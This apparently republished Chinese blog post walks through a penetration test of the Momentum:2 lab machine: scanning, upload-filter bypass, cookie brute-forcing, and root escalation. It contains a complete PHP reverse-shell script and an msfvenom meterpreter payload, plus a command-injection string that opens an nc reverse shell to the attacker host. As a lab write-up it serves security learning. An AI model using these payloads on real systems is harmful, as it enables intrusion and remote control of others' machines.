IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Momentum:2靶机渗透测试 -> 正文阅读

[PHP知识库]Momentum:2靶机渗透测试

作者:recommend-item-box type_blog clearfix

Momentum:2靶机渗透测试

环境

靶机192.168.19.140
kali攻击机192.168.19.131

工具

nmap netdiscover gobuster 御剑 Xshell msf netcat

流程

用netdiscover对目标网段进行扫描
得到目标主机192.168.19.140
在这里插入图片描述使用nmap对该主机进行端口扫描
在这里插入图片描述

得到端口22与80端口是开启的
上80端口看到只有三张图片就对目录进行爆破

gobuster dir -u http://192.168.19.140/ -x html,php,bak,txt --wordlist /usr/share/wordlist/dirbusters/directory-list-2.3-medium.txt

在这里插入图片描述

http://192.168.19.140/dashboard.html为一个上传文件的页面

在这里插入图片描述
尝试上传shell和php文件都失败了
在这里插入图片描述txt文件可以上传
在这里插入图片描述而目录

http://192.168.19.140/owls/则为上传的目录
在这里插入图片描述
http://192.168.19.140/ajax.php是个空网页
查看源码在最下面有几行代码
在这里插入图片描述在这里插入图片描述根据经验这个网页一定有东西果然用御剑扫到
http://192.168.19.140/ajax.php.bak拷贝文件
在这里插入图片描述
打开该文件是段过滤上传文件的代码
在这里插入图片描述
代码审计大概意思就是当满足这个带有cookie键值为admin=&G6u@B6uDXMq&Ms,再加一个大写字符时是可以上传pdf,php,txt文件的
那就直接burpsuite抓包改包
先准备好反弹shell(找了好几个脚本终于这个可以反弹泪目)

<?php   
    error_reporting (E_ERROR);  
    ignore_user_abort(true);  
    ini_set('max_execution_time',0);  
    $os = substr(PHP_OS,0,3);  
    $ipaddr = '192.168.19.131';  
    $port = '1222';  
    $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));  
    $cwd = getcwd();  
    $msg = php_uname()."\n------------Code by Spider-------------\n";  
    if($os == 'WIN') {  
        $env = array('path' => 'c:\\windows\\system32');  
    } else {  
        $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');  
    }  
     
    if(function_exists('fsockopen')) {  
        $sock = fsockopen($ipaddr,$port);  
        fwrite($sock,$msg);  
        while ($cmd = fread($sock,1024)) {  
            if (substr($cmd,0,3) == 'cd ') {  
                $cwd = trim(substr($cmd,3,-1));  
                chdir($cwd);  
                $cwd = getcwd();  
            }  
            if (trim(strtolower($cmd)) == 'exit') {  
                break;  
            } else {  
                $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);  
                if (is_resource($process)) {  
                    fwrite($pipes[0],$cmd);  
                    fclose($pipes[0]);  
                    $msg = stream_get_contents($pipes[1]);  
                    fwrite($sock,$msg);  
                    fclose($pipes[1]);  
                    $msg = stream_get_contents($pipes[2]);  
                    fwrite($sock,$msg);  
                    fclose($pipes[2]);  
                    proc_close($process);  
                }  
            }  
        }  
        fclose($sock);  
    } else {  
        $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);  
        socket_connect($sock,$ipaddr,$port);  
        socket_write($sock,$msg);  
        fwrite($sock,$msg);  
        while ($cmd = socket_read($sock,1024)) {  
            if (substr($cmd,0,3) == 'cd ') {  
                $cwd = trim(substr($cmd,3,-1));  
                chdir($cwd);  
                $cwd = getcwd();  
            }  
            if (trim(strtolower($cmd)) == 'exit') {  
                break;  
            } else {  
                $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);  
                if (is_resource($process)) {  
                    fwrite($pipes[0],$cmd);  
                    fclose($pipes[0]);  
                    $msg = stream_get_contents($pipes[1]);  
                    socket_write($sock,$msg,strlen($msg));  
                    fclose($pipes[1]);  
                    $msg = stream_get_contents($pipes[2]);  
                    socket_write($sock,$msg,strlen($msg));  
                    fclose($pipes[2]);  
                    proc_close($process);  
                }  
            }  
        }  
        socket_close($sock);  
    }  
    ?> 
 

用crunch生成最后一位大写的字符
在这里插入图片描述
上传shell用brupsuite截断
发送到爆破模块然后再添加一行
Cookie:admin=&G6u@B6uDXMq&Ms后面加一字符然后用刚刚生成的字典爆破
此外,还要使用post方式提交一个参数secure
设置了一个回显1(成功上传回显1)
在这里插入图片描述

在这里插入图片描述在爆破到R时回显1所以最后一位是R
在这里插入图片描述上传时截断改包再forword
在这里插入图片描述上传成功
在这里插入图片描述
本地开启监听

在这里插入图片描述访问上传的php页面都得到反弹shell

在这里插入图片描述

优化终端

python3 -c 'import pty; pty.spawn("/bin/bash")'  

导入不了pty模块搞了半天也没得结果算了用MSF吧
先生成php的反弹shell

 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.19.131 LPORT=1222 R > sha1.php

在这里插入图片描述
然后打开msfconsole监听
设置exploit和payload模块use exploit/multi/handler set payload php/meterpreter/reverse_tcp

设置好端口和ip然后run
在这里插入图片描述
在这里插入图片描述
然后run访问上传的php得到了反弹shell
在athena的用户目录里面有password文件
查看得到密码

myvulnerableapp[Asterisk]

逗比的是后面中括号里面这个单词翻译为星号难道密码是myvulnerableapp*还是说差一位字符
ssh登录用户athena试试
在这里插入图片描述

还真是擦差点就去爆破了脑壳铁

sudo -查看权限
得到root不要密码
在这里插入图片描述
cat看一下对应的py文件又是代码审计
在这里插入图片描述大概意思就是执行了该py文件会让你输入一个seed值然后

cmd = "echo %s >> log.txt" % seed

会用echo把你输入的东西输出到log.txt文件里
这个输出过程是有是会执行bash直接构造一句话反弹shell;nc 192.168.19.131 6666 -e /bin/bash;
注意前面要加一个;把前面闭合(在这又折腾了半天)
在kali设置监听
nc -lvnp 6666
在这里插入图片描述
得到反弹shell提权成功

总结

坑很多搞了好几天总算完成,代码审计能力有待提高啊

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-14 10:41:11  更:2021-07-14 10:42:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/28 5:16:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码